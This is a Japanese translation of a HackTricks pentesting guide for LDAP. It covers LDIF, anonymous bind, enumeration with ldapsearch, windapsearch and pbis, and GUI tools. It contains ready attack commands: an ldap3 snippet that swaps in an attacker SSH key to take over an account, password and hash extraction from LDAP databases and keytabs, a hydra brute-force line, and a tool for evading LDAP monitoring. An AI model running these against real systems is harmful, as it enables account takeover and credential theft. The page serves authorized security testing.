# 389, 636, 3268, 3269 - Pentesting LDAP {{#include ../banners/hacktricks-training.md}} **LDAP**(軽量ディレクトリアクセスプロトコル)の使用は、主に組織、個人、ファイルやデバイスなどのリソースをネットワーク内で見つけるためのものであり、公共およびプライベートの両方のネットワークで利用されます。これは、前のプロトコルであるDAPに比べて、より小さなコードフットプリントを持つことで、効率的なアプローチを提供します。 LDAPディレクトリは、複数のサーバーに分散できるように構造化されており、各サーバーはディレクトリの**複製された**および**同期された**バージョンを保持しており、これをディレクトリシステムエージェント(DSA)と呼びます。リクエストの処理は完全にLDAPサーバーの責任であり、必要に応じて他のDSAと通信して、リクエスターに統一された応答を提供します。 LDAPディレクトリの組織は、**ルートディレクトリが最上部にあるツリー階層**に似ています。これは国に分岐し、さらに組織に分かれ、次にさまざまな部門や部局を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。 **デフォルトポート:** 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、ポート3268および3269でLDAPS用にデフォルトで利用可能です。 ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAPデータインターチェンジフォーマット LDIF (LDAP Data Interchange Format) は、ディレクトリの内容を一連のレコードとして定義します。また、更新リクエスト(追加、変更、削除、名前変更)を表すこともできます。 ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` - 行1-3はトップレベルドメインlocalを定義します - 行5-8はファーストレベルドメインmoneycorp (moneycorp.local)を定義します - 行10-16は2つの組織単位:devとsalesを定義します - 行18-26はドメインのオブジェクトを作成し、属性に値を割り当てます ## データの書き込み 値を変更できる場合、非常に興味深いアクションを実行できる可能性があります。例えば、あなたが**ユーザーまたは任意のユーザーの"sshPublicKey"情報を変更できる**と想像してみてください。この属性が存在する場合、**sshはLDAPから公開鍵を読み込んでいる可能性が高いです**。ユーザーの公開鍵を変更できれば、**sshでパスワード認証が有効でなくても、そのユーザーとしてログインできるようになります**。 ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## クレデンシャルの平文スニッフィング LDAPがSSLなしで使用されている場合、ネットワーク内で**平文のクレデンシャルをスニッフィング**することができます。 また、**LDAPサーバーとクライアントの間**で**MITM**攻撃を実行することもできます。ここで、クライアントが**平文のクレデンシャル**を使用してログインするように**ダウングレード攻撃**を行うことができます。 **SSLが使用されている場合**、上記のように**MITM**を試みることができますが、**偽の証明書**を提供することで、**ユーザーがそれを受け入れた場合**、認証方法をダウングレードして再びクレデンシャルを見ることができます。 ## 匿名アクセス ### TLS SNIチェックのバイパス [**この書き込み**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名(例えばcompany.com)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接触し、情報を抽出することができました。 ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP 匿名バインド [LDAP 匿名バインド](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) は、**認証されていない攻撃者**がドメインから情報を取得することを可能にします。例えば、ユーザー、グループ、コンピュータ、ユーザーアカウント属性、ドメインパスワードポリシーの完全なリストなどです。これは**レガシー構成**であり、Windows Server 2003以降、認証されたユーザーのみがLDAPリクエストを開始することが許可されています。\ しかし、管理者は**特定のアプリケーションを設定して匿名バインドを許可する必要があった**かもしれず、その結果、意図した以上のアクセス権を与え、認証されていないユーザーにAD内のすべてのオブジェクトへのアクセスを許可してしまった可能性があります。 ## 有効な資格情報 LDAPサーバーにログインするための有効な資格情報がある場合、次のコマンドを使用してドメイン管理者に関するすべての情報をダンプできます。 [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [ブルートフォース](../generic-hacking/brute-force.md#ldap) ## 列挙 ### 自動化 これを使用すると、**公開情報**(ドメイン名など)を確認できます**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
See LDAP enumeration with python **認証情報なしでLDAPを列挙する**か**認証情報を使用してLDAPを列挙する**ことをpythonを使って試すことができます: `pip3 install ldap3` まず**認証情報なしで接続**してみてください: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` もし応答が前の例のように`True`であれば、LDAPからいくつかの**興味深いデータ**(**命名コンテキスト**や**ドメイン名**など)を取得できます。 ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` 一度命名コンテキストを取得すると、さらに興味深いクエリを実行できます。この単純なクエリは、ディレクトリ内のすべてのオブジェクトを表示するはずです: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` または**ダンプ**全体のldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) は、LDAP クエリを利用して **Windows ドメインからユーザー、グループ、およびコンピュータを列挙する** のに役立つ Python スクリプトです。 ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch 無効な資格情報を確認するか、資格情報が有効かどうかを確認します: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` "_bind must be completed_" というメッセージが表示される場合、認証情報が正しくないことを意味します。 次のコマンドを使用して、**ドメインからすべてを抽出**できます: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` **ユーザー**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` **コンピュータ** ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` **私の情報** ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **ドメイン管理者**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **ドメインユーザー**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **エンタープライズ管理者**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **管理者**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` **リモートデスクトップグループ**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` パスワードにアクセスできるかどうかを確認するには、クエリの1つを実行した後にgrepを使用できます: ```bash | grep -i -A2 -B2 "userpas" ``` 注意してください、ここに見つかるパスワードは本物ではない可能性があります... #### pbis **pbis**はここからダウンロードできます: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) そして通常は`/opt/pbis`にインストールされます。\ **Pbis**を使用すると、基本情報を簡単に取得できます: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## グラフィカルインターフェース ### Apache Directory [**ここからApache Directoryをダウンロード**](https://directory.apache.org/studio/download/download-linux.html)。このツールの使用例は[こちら](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s)で見つけることができます。 ### jxplorer LDAPサーバー用のグラフィカルインターフェースをここからダウンロードできます: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) デフォルトでは、_ /opt/jxplorer _にインストールされます。 ![](<../images/image (482).png>) ### Godap Godapは、ADや他のLDAPサーバーのオブジェクトや属性と対話するために使用できるインタラクティブなターミナルユーザーインターフェースです。Windows、Linux、MacOSで利用可能で、シンプルバインド、パス・ザ・ハッシュ、パス・ザ・チケット、パス・ザ・証明書をサポートし、オブジェクトの検索/作成/変更/削除、グループからのユーザーの追加/削除、パスワードの変更、オブジェクトの権限(DACL)の編集、Active-Directory統合DNS(ADIDNS)の変更、JSONファイルへのエクスポートなど、いくつかの特別な機能を実装しています。 ![](../images/godap.png) [https://github.com/Macmod/godap](https://github.com/Macmod/godap)でアクセスできます。使用例と指示については[Wiki](https://github.com/Macmod/godap/wiki)を読んでください。 ### Ldapx Ldapxは、他のツールからのLDAPトラフィックを検査および変換するために使用できる柔軟なLDAPプロキシです。LDAPトラフィックを難読化して、アイデンティティ保護およびLDAP監視ツールを回避する試みを行うことができ、[MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo)トークで提示されたほとんどの方法を実装しています。 ![](../images/ldapx.png) [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx)から入手できます。 ## kerberosによる認証 `ldapsearch`を使用すると、**NTLM**ではなく**kerberos**に対して**認証**できます。パラメータ`-Y GSSAPI`を使用します。 ## POST データベースが含まれているファイルにアクセスできる場合(_ /var/lib/ldap _にある可能性があります)、次のコマンドを使用してハッシュを抽出できます: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` あなたはjohnにパスワードハッシュを与えることができます('{SSHA}'から'structural'まで、'structural'を追加せずに)。 ### 設定ファイル - 一般 - containers.ldif - ldap.cfg - ldap.conf - ldap.xml - ldap-config.xml - ldap-realm.xml - slapd.conf - IBM SecureWay V3サーバー - V3.sas.oc - Microsoft Active Directoryサーバー - msadClassesAttrs.ldif - Netscape Directory Server 4 - nsslapd.sas_at.conf - nsslapd.sas_oc.conf - OpenLDAPディレクトリサーバー - slapd.sas_at.conf - slapd.sas_oc.conf - Sun ONE Directory Server 5.1 - 75sas.ldif ## HackTricks自動コマンド ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f Entry_7: Name: Netexec LDAP BloodHound Command: nxc ldap -u -p --bloodhound -c All -d --dns-server --dns-tcp ``` {{#include ../banners/hacktricks-training.md}}